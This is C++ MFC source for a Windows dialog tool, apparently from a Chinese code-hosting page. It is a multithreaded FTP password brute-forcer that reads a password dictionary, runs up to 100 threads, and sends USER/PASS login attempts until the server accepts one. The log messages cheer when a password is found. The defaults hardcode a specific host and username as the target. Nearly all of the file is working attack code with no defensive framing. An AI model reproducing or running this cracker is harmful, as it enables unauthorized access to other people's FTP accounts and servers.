📄 ftpdlg.cpp
字号:
// FtpDlg.cpp : implementation file
//
#include "stdafx.h"
#include "Ftp.h"
#include "FtpDlg.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
/////////////////////////////////////////////////////////////////////////////
// CFtpDlg dialog
CFtpDlg::CFtpDlg(CWnd* pParent /*=NULL*/)
: CDialog(CFtpDlg::IDD, pParent)
{
//{{AFX_DATA_INIT(CFtpDlg)
m_Srvr = _T("");
m_Port = 0;
m_User = _T("");
m_File = _T("");
m_MaxThread = 0;
//}}AFX_DATA_INIT
// Note that LoadIcon does not require a subsequent DestroyIcon in Win32
m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME);
}
void CFtpDlg::DoDataExchange(CDataExchange* pDX)
{
CDialog::DoDataExchange(pDX);
//{{AFX_DATA_MAP(CFtpDlg)
DDX_Control(pDX, IDC_STATIC1, m_Status);
DDX_Control(pDX, IDC_BUTTON3, m_Button3);
DDX_Control(pDX, IDC_BUTTON2, m_Button2);
DDX_Control(pDX, IDC_PROGRESS1, m_Proc1);
DDX_Control(pDX, IDC_LIST1, m_List1);
DDX_Text(pDX, IDC_EDIT1, m_Srvr);
DDX_Text(pDX, IDC_EDIT2, m_Port);
DDX_Text(pDX, IDC_EDIT3, m_User);
DDX_Text(pDX, IDC_EDIT4, m_File);
DDX_Text(pDX, IDC_EDIT5, m_MaxThread);
//}}AFX_DATA_MAP
}
BEGIN_MESSAGE_MAP(CFtpDlg, CDialog)
//{{AFX_MSG_MAP(CFtpDlg)
ON_WM_PAINT()
ON_WM_QUERYDRAGICON()
ON_BN_CLICKED(IDC_BUTTON1, OnButton1)
ON_BN_CLICKED(IDC_BUTTON2, OnButton2)
ON_BN_CLICKED(IDC_BUTTON3, OnButton3)
ON_WM_CLOSE()
//}}AFX_MSG_MAP
END_MESSAGE_MAP()
/////////////////////////////////////////////////////////////////////////////
// CFtpDlg message handlers
BOOL CFtpDlg::OnInitDialog()
{
CDialog::OnInitDialog();
// Set the icon for this dialog. The framework does this automatically
// when the application's main window is not a dialog
SetIcon(m_hIcon, TRUE); // Set big icon
SetIcon(m_hIcon, FALSE); // Set small icon
// TODO: Add extra initialization here
m_File="Password.txt";
m_Srvr="whg0001.top263.net";
m_User="whg0001";
m_Port=21;
m_MaxThread=100;
UpdateData(false);
return TRUE; // return TRUE unless you set the focus to a control
}
// If you add a minimize button to your dialog, you will need the code below
// to draw the icon. For MFC applications using the document/view model,
// this is automatically done for you by the framework.
void CFtpDlg::OnPaint()
{
if (IsIconic())
{
CPaintDC dc(this); // device context for painting
SendMessage(WM_ICONERASEBKGND, (WPARAM) dc.GetSafeHdc(), 0);
// Center icon in client rectangle
int cxIcon = GetSystemMetrics(SM_CXICON);
int cyIcon = GetSystemMetrics(SM_CYICON);
CRect rect;
GetClientRect(&rect);
int x = (rect.Width() - cxIcon + 1) / 2;
int y = (rect.Height() - cyIcon + 1) / 2;
// Draw the icon
dc.DrawIcon(x, y, m_hIcon);
}
else
{
CDialog::OnPaint();
}
}
// The system calls this to obtain the cursor to display while the user drags
// the minimized window.
HCURSOR CFtpDlg::OnQueryDragIcon()
{
return (HCURSOR) m_hIcon;
}
void CFtpDlg::OnButton1()
{
// TODO: Add your control notification handler code here
UpdateData();
CFileDialog FileDlg(true,NULL,m_File);
if(FileDlg.DoModal()) m_File=FileDlg.GetPathName();
UpdateData(false);
}
UINT SpyThread(LPVOID pParam)
{
CFtpDlg* pDlg=(CFtpDlg*)pParam;
CString Msg;
int i=InterlockedIncrement((long*)&pDlg->m_PassIndex);
while(i<pDlg->m_PassArray.GetSize()+1)
{
CString* pPass=(CString*)pDlg->m_PassArray.GetAt(i-1);
Msg.Format("尝试第%d个密码:%s",i-1,*pPass);
pDlg->m_Status.SetWindowText(Msg);
pDlg->m_Proc1.SetPos(i-1);
CSocket* pSock=new CSocket;
pSock->Create();
int bConnect=0;
while(!bConnect)
{
bConnect=pSock->Connect(pDlg->m_Srvr,pDlg->m_Port);
if (bConnect)
{
pSock->Receive(Msg.GetBuffer(4096),4096);
//pDlg->m_List1.AddString(Msg);
pDlg->m_List1.AddString("连接...");
pDlg->m_List1.SetCurSel(pDlg->m_List1.GetCount()-1);
Msg.Format("USER %s\r\n",pDlg->m_User);
pDlg->m_List1.AddString(Msg);
pDlg->m_List1.SetCurSel(pDlg->m_List1.GetCount()-1);
pSock->Send(Msg,Msg.GetLength());
pSock->Receive(Msg.GetBuffer(4096),4096);
//pDlg->m_List1.AddString(Msg);
Msg=Msg.GetBuffer(3);
if (Msg.Left(3)!="331")
{
pSock->Receive(Msg.GetBuffer(4096),4096);
//pDlg->m_List1.AddString(Msg);
}
Msg.Format("PASS %s\r\n",*pPass);
pDlg->m_List1.AddString(Msg);
pDlg->m_List1.SetCurSel(pDlg->m_List1.GetCount()-1);
pSock->Send(Msg,Msg.GetLength());
pSock->Receive(Msg.GetBuffer(4096),4096);
//pDlg->m_List1.AddString(Msg);
Msg=Msg.GetBuffer(3);
if (Msg.Left(3)=="230")
{
pDlg->m_List1.AddString("哈哈,密码正确啦:"+*pPass);
pDlg->m_Status.SetWindowText("找到正确密码:"+*pPass);
pDlg->m_List1.SetCurSel(pDlg->m_List1.GetCount()-1);
pDlg->SendMessage(WM_COMMAND,IDC_BUTTON3);
}
else
{
pDlg->m_List1.AddString("密码错误");
}
pSock->Close();
}
else
{
pDlg->m_List1.AddString("我考,连接失败...");
pDlg->m_List1.AddString("再连接...");
}
pDlg->m_List1.SetCurSel(pDlg->m_List1.GetCount()-1);
}
i=InterlockedIncrement((long*)&pDlg->m_PassIndex);
delete pSock;
}
Sleep(10000);
pDlg->SendMessage(WM_COMMAND,IDC_BUTTON3);
return 0;
}
void CFtpDlg::OnButton2()
{
// TODO: Add your control notification handler code here
CFtpDlg::OnButton3();
m_Button2.EnableWindow(false);
UpdateData();
CFile File;
if (!File.Open(m_File,00))
{
AfxMessageBox("打开密码字典出错");
m_Button2.EnableWindow();
return;
}
while(m_List1.GetCount()) m_List1.DeleteString(0);
CArchive Arch(&File,CArchive::load);
m_List1.AddString("分析密码文件...");
CString Msg;
while(Arch.ReadString(Msg)!=0)
{
CString* pPass=new CString;
*pPass=Msg;
m_PassArray.Add((CObject*)pPass);
}
Msg.Format("字典中共有%d个密码...",m_PassArray.GetSize());
m_List1.AddString(Msg);
m_PassIndex=0;
if (m_PassArray.GetSize()<m_MaxThread)
{
m_MaxThread=m_PassArray.GetSize();
UpdateData(false);
Msg.Format("密码只有%d个,只能开了%d个线程...",m_PassArray.GetSize(),m_PassArray.GetSize());
m_List1.AddString(Msg);
}
m_Proc1.SetRange(0,m_PassArray.GetSize());
m_List1.AddString("开始破解...");
for (int i=0;i<m_MaxThread;i++)
{
CWinThread* pThread=AfxBeginThread(SpyThread,(void*)this,THREAD_PRIORITY_NORMAL);
m_ThreadArray.Add((CObject*)pThread);
}
m_Button3.EnableWindow();
}
void CFtpDlg::OnButton3()
{
// TODO: Add your control notification handler code here
while(m_PassArray.GetSize())
{
delete (CString*)m_PassArray.GetAt(0);
m_PassArray.RemoveAt(0);
}
while(m_ThreadArray.GetSize())
{
CWinThread* pThread=(CWinThread*)m_ThreadArray.GetAt(0);
pThread->SuspendThread();
delete pThread;
m_ThreadArray.RemoveAt(0);
}
m_Button3.EnableWindow(false);
m_Button2.EnableWindow();
}
void CFtpDlg::OnClose()
{
// TODO: Add your message handler code here and/or call default
ExitProcess(0);
CDialog::OnClose();
}
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -